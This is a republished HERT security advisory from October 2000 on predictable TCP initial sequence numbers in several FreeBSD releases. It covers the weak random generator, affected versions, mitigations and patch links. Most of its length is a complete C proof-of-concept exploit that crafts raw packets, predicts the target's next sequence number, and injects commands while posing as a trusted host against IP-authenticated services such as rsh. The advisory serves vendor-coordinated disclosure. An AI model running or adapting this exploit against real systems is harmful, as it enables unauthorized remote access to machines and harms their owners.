|
Home : Advisories : FreeBSD IP Spoofing
Title: |
FreeBSD IP Spoofing |
Released by: |
HERT |
Date: |
1st October 2000 |
Printable version: |
Click here |
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- - ---------------------------------------------------------------
HERT - Hacker Emergency Response Team
alert@hert.org - http://hert.org
Advisory: #00003
Title: FreeBSD IP Spoofing
Date: 1st October 2000
Summary: IP Spoofing Sequence number prediction
IMPACT: Remote access via services using IP based auth
Authors: Pascal Bouchareine - Kalou
Paul Spiby
Test Exploit: Pascal Bouchareine Kalou
- - ---------------------------------------------------------------
Copyright (C) 2000 Hacker Emergency Response Team
Copyright (C) 2000 Pascal Bouchareine
Permission is granted to reproduce and distribute HERT advisories in their
entirety, provided credits is awarded to its author and to HERT and
republished with the intent of increasing the awareness of the Internet
community.
This advisory and test code is part of our research and development.
They are not production tools for either attack or defense within an
information warfare setting. Rather, they are just demonstrating proof
of concept.
The HERT PGP public key is available at http://ftp.hert.org/pub/HERT_PGP.key
To subscribe to the HERT Alert mailing list, email alert@hert.org with
subscribe in the body of the message.
1. Vulnerability description
Weak random() in FreeBSD's TCP stack allows "spoof" [1] attacks.
2. Background
The way FreeBSD handles random sequence number incrementing is weak.
With 3 consecutive random increments captured from the responses of 4 SYN
packets sent to the target, an attacker can rebuild the random state of the
remote machine. This information can then be used to predict the next
random increments the remote machine will make.
3. Distributions known to be affected
At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE.
4. Details
The pseudo-random function called is a linear congruent generator [2]
where the (N+1)th value is calculated from the Nth by :
x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)
The random incrementation of the ISS is done by adding :
122 * 1024 + ((random() >> 14) & 0x3ffff)
This incrementation is done for each connection request and at
500ms intervals by the kernel. Unfortunately, it is likely to be done
consecutively if an attacker is fast enough. Then, guessing the remote
random() state just takes (65535 * 3) tests for the attacker to
synchronize. Once done, the attacker may generate the same sequence
numbers as the remote system does, and successfully achieve a spoof
attack [1] (see example below).
5. Impact
Any program that blindly trusts a remote IP address and doesn't
provide strong (key/challenge) authentication may allow an attacker to
send arbitrary data to the machine (eg. rcmd family [ rlogind, rshd ],
some backup software, etc.) while masquerading as a trusted host;
therefore gaining access to the remote system.
6. Recommendations
These random number generators are not suited for security
purposes [2]. You may want to patch /sys/netinet/tcp_seq.h and use
arc4_random() instead of random() to generate the ISS incrementation.
This random stream derived from rc4 is strong enough to prevent this
type of attack, when using at least 32 bytes of switching cells, no less.
Randomness may be added by using the keyboard, mouse, network "entropy"
at a short enough frequency (seconds, minutes).
Never trust IP addresses in computer applications. If you have to,
be sure to use a secured protocol, with strong key exchange, such as ssh.
7. Official fix:
This advisory has been released in co-ordination with the FreeBSD
team who have now fixed FreeBSD 5.x (-CURRENT), 4.x and 3.x.
The patch files can be obtained from the following URLs:
For 3.x:
http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch
http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc
For 4.x:
http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch
http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc
8. Documentation
[1]
Bellovin and Robert T. Morris about IP spoofing :
http://ftp.research.att.com/dist/internet_security/117.ps.Z
http://ftp.research.att.com/dist/internet_security/ipext.ps.Z
[2]
An excellent paper about random and security by Eastlake, Crocker
& Schiller :
http://ftp.funet.fi/rfc/rfc1750.txt
9. General Information
To report a vulnerability: http://www.hert.org/vul_reporting_form
HERT stands for Hacker Emergency Response Team.
HERT is a pool of hackers and security consultants from many different
countries and a launchpad for new computer security projects.
We focus on research and prevention; not enforcement and repression.
If you wish to join the HERT effort please send a note to hert@hert.org.
Contact hert@hert.org for more information.
10. Demonstration code
/* Sample example of remote sequence number prediction.
**
** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }
**
** This exploit is part of the research and development effort conducted by
** HERT. It is not a production tool for either attack or defense
** within an information warfare setting. Rather, it is a small
** program demonstrating proof of concept.
**
** If you are not the intended recipient, or a person responsible for
** delivering it to the intended recipient, you are not authorised to and
** must not disclose, copy, distribute, or retain this message or any
** part of it. Such unauthorised use may be unlawful. If you have
** received this transmission in error, please email us immediately at
** hert@hert.org so that we can arrange for its return.
**
**
** Concept:
**
** 1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed
** address.
**
** 2) Victim answers with 5 SYN/ACK, *very close in time*
**
** Attacker calculates the 3 random increments that were given.
** Since FreeBSD adds randomness to it's ISS two times a second,
** this is hopefully avoided during this process.
**
** 3) Attacker takes his pocket calculator, calculates a "replay" and
** guesses the 4th increment. She manually enters the 5th seq at her
** keyboard, drinks a coffee, and sends a forged ACK with the good
** seq/ack to victim.
** She's done.
**
** You still have to find something for the trusted host to shut up.
** This is clearly not the biggest problem.
**
** You may want to adjust precision from 4 SYNs to more or less, regarding
** your ping with target (150ms is good). More is useless until you have
** two possible matches. Less is usefull to have a 1/2 luck rate if you have
** a really bad connection. A 486 dx/33 was used to test this on a 56k modem
** with 4 syns and it was just fine.
**
** Pascal Bouchareine [ kalou ]
**
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ISS_INCR (122*1024)
#define TCP_RANDOM18(n, lr) (guess_next(n, lr) >> 14 & 0x3ffff)
#define INTOA(x) inet_ntoa( (struct in_addr) { x } )
#ifdef linux
#define ip_sum ip_csum
#endif
struct spoof {
unsigned int myaddr;
unsigned int src;
unsigned int dst;
unsigned short sport;
unsigned short dport;
};
/*
** This simulates freebsd's rand(), and gives the (time)th next random number,
** regarding the previous one (r).
*/
inline unsigned int guess_next(int times, unsigned int r)
{
register unsigned int myr;
register int t, hi, lo;
int i;
myr = r;
for (i = 0; i < times; i++) {
hi = myr / 127773;
lo = myr % 127773;
t = 16807 * lo - 2836 * hi;
if (t <= 0)
t += 0x7fffffff;
myr = t;
}
return myr;
}
/*
** Calculates the next sequence.
** With 4 seqs, you often have an unique solution. (always ?)
**
*/
inline unsigned int init_iss(unsigned int seq[], int nseq)
{
unsigned int tcp_iss;
register unsigned int try;
int i, res;
if (nseq < 2) {
return -1;
}
tcp_iss = seq[nseq - 1];
for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;
try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {
for (i = 1, res = 0; i < (nseq - 1); i++) {
if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==
(seq[i + 1] - seq[i]) ) {
res++;
} else {
if (res) res--;
break;
}
}
if (res)
{
/* There, each random increment matched. We assume
** the last rand is good to compute the next one.
*/
tcp_iss += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );
fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);
fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);
fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);
return tcp_iss;
}
}
fprintf(stderr, "[init_iss]\t failed to find iss.\n");
return 0;
}
int raw_sock(int proto)
{
int true = 1;
int s;
s = socket(AF_INET, SOCK_RAW, proto);
if (s > 0) {
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {
perror("setsockopt");
return -1;
}
} else {
perror("raw_sock");
return -1;
}
return s;
}
/*
** Well i guess this is ripped from somewhere..
*/
unsigned int host_lookup(char *h)
{
struct in_addr a;
struct hostent *he;
if ( (a.s_addr = inet_addr(h)) == -1 ) {
if ( (he = gethostbyname(h)) == NULL ) {
perror("lookup");
return -1; /* 255.255.255.255... */
}
bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);
}
return a.s_addr;
}
/* The copy'n pasted one works so well. */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_tcp(int s,
unsigned int src,
unsigned int dst,
unsigned char flg,
unsigned short sport,
unsigned short dport,
unsigned int seq,
unsigned int ack,
char *data,
int dlen)
{
unsigned char pkt[1024];
struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in sa;
static int ip_id = 0;
struct pseudo {
unsigned int s;
unsigned int d;
char n;
char p;
unsigned short l;
} pseudo;
if (!ip_id) {
ip_id = htons(rand() % getpid());
}
ip = (struct ip *) pkt;
tcp = (struct tcphdr *) (pkt + sizeof(struct ip));
pseudo.s = src;
pseudo.d = dst;
pseudo.n = 0;
pseudo.p = IPPROTO_TCP;
pseudo.l = htons(sizeof(struct tcphdr) + dlen);
tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_off = 5;
tcp->th_flags = flg;
tcp->th_win = htons(16384);
tcp->th_urp = 0;
tcp->th_sum = 0;
memmove(((char *) tcp) + sizeof(struct tcphdr),
data, dlen); /* baom. 1024 */
memmove(((char *) tcp) - sizeof(struct pseudo),
(char *) &pseudo, sizeof(struct pseudo));
tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),
sizeof(struct pseudo) +
sizeof(struct tcphdr) + dlen);
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);
ip->ip_id = ip_id++;
ip->ip_off = htons(0);
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_src.s_addr = src;
ip->ip_dst.s_addr = dst;
// ip->ip_sum = in_cksum(pkt, sizeof(struct ip)
// + sizeof(struct tcphdr) + dlen);
ip->ip_sum = 0;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = dst;
sa.sin_port = 0;
if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,
0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
perror("sendto");
return -1;
}
return 0;
}
int get_acks(int s, int n, unsigned int *seq,
unsigned int src_addr,
unsigned short src_port)
{
struct sockaddr_in from;
int fromlen;
char buf[512];
int nr = n;
int len;
struct tcphdr *tcp;
struct ip *ip;
while(nr) {
fromlen = sizeof(from);
if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {
ip = (struct ip *) buf;
if (ip->ip_src.s_addr == src_addr) {
len = ip->ip_hl << 2;
tcp = (struct tcphdr *) (buf + len);
if (tcp->th_sport == src_port) {
fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));
seq[n - nr--] = ntohl(tcp->th_seq);
}
}
} else {
perror("recvfrom");
return -1;
}
}
return nr;
}
unsigned int send_init_flow(int s,
unsigned int src,
unsigned int dst,
unsigned int spoofer,
unsigned short sport,
unsigned short dport,
int nseq)
{
unsigned int seq;
unsigned int ssport = sport;
int i, err;
seq = rand();
err = 0;
for (i = 0; i < nseq; i++) {
err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,
seq++, 0, "", 0);
}
err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,
seq, 0, "", 0);
if (err)
return -1;
return seq;
}
void spoof_loop(int s,
unsigned int src,
unsigned int dst,
unsigned short sport,
unsigned short dport,
unsigned int oseq,
unsigned int oack)
{
char buf[512];
char *p;
unsigned int seq = oseq + 1; /* since remote inc'ed us in syn/ack */
unsigned int ack = oack + 1; /* since we must inc remote in ack */
int i;
/* Our syn/ack is on its way.
Better wait a little. */
usleep(2800);
send_tcp(s, src, dst, TH_ACK, sport, dport,
seq, ack, "", 0);
while(read(0, buf, 512)) {
if ( (p = strchr(buf, '\r')) ||
(p = strchr(buf, '\n')) ) {
*p = '\0';
}
fprintf(stderr, "[send]\t %s\n", buf);
strcat(buf, "\r\n");
send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,
seq, ack, buf, strlen(buf));
seq += strlen(buf);
memset(buf, '\0', sizeof(buf));
}
send_tcp(s, src, dst, TH_RST, sport, dport,
seq, ack, buf, strlen(buf));
}
int spoof(struct spoof s, int p)
{
int ss, rs;
unsigned int seqs[4];
unsigned int seq, ack;
rs = raw_sock(IPPROTO_TCP);
ss = raw_sock(IPPROTO_RAW);
if ((ss < 0) || (rs < 0)) {
perror("raw socket");
return -1;
}
fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));
fprintf(stderr, "[main]\t\t source %s.\n", INTOA(s.myaddr));
seq = send_init_flow(ss, s.myaddr,
s.dst, s.src, s.sport, s.dport, p);
if (seq > 0) {
fprintf(stderr, "[main]\t\t our seq is %u\n", seq);
if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {
ack = init_iss(seqs, 4);
fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,
INTOA(s.src));
if (ack > 0) {
usleep(2000);
spoof_loop(ss, s.src,
s.dst, s.sport, s.dport, seq, ack);
} else {
return -3;
}
} else { /* get_acks */
return -2;
}
} /* seq < 0 */
return -1;
}
void usage(char *p)
{
fprintf(stderr, "Usage: %s..\n"
"\n\t<-m (my address)>\n"
"\t<-s (spoofed host)>\n"
"\t<-d (destination)>\n"
"\t<-p (dest port)>\n"
"\t[-S (source port):rand]\n"
"\t[-P precision:4]\n\n", p);
exit(1);
}
int main(int argc, char **argv)
{
int precision;
unsigned int hostaddr;
struct spoof s;
char c;
srand(getpid());
s.myaddr = 0;
s.src = 0;
s.dst = 0;
s.dport = 0;
s.sport = getpid();
precision = 4;
while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {
switch(c) {
case 'm':
case 's':
case 'd':
hostaddr = host_lookup(optarg);
if (hostaddr == -1) {
fprintf(stderr, "%s: unknown host.\n", optarg);
exit(1);
}
switch(c) {
case 'm':
s.myaddr = hostaddr;
break;
case 's':
s.src = hostaddr;
break;
case 'd':
s.dst = hostaddr;
break;
}
break;
case 'S':
s.sport = atoi(optarg);
break;
case 'p':
s.dport = atoi(optarg);
break;
case 'P':
precision = atoi(optarg);
break;
}
}
if ((!s.myaddr) ||
(!s.src) ||
(!s.dst) ||
(!s.dport)) {
usage(argv[0]);
}
return spoof(s, precision);
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (FreeBSD)
Comment: For info see http://www.gnupg.org
iD8DBQE5267PUyyzsJj2xHMRAiGNAKCkKGxCmDryGdJbzw+7IqA5qJGUIgCgqFT2
IqFFgcLXGINv3l+K4LBKcU8=
=D5/J
-----END PGP SIGNATURE-----
|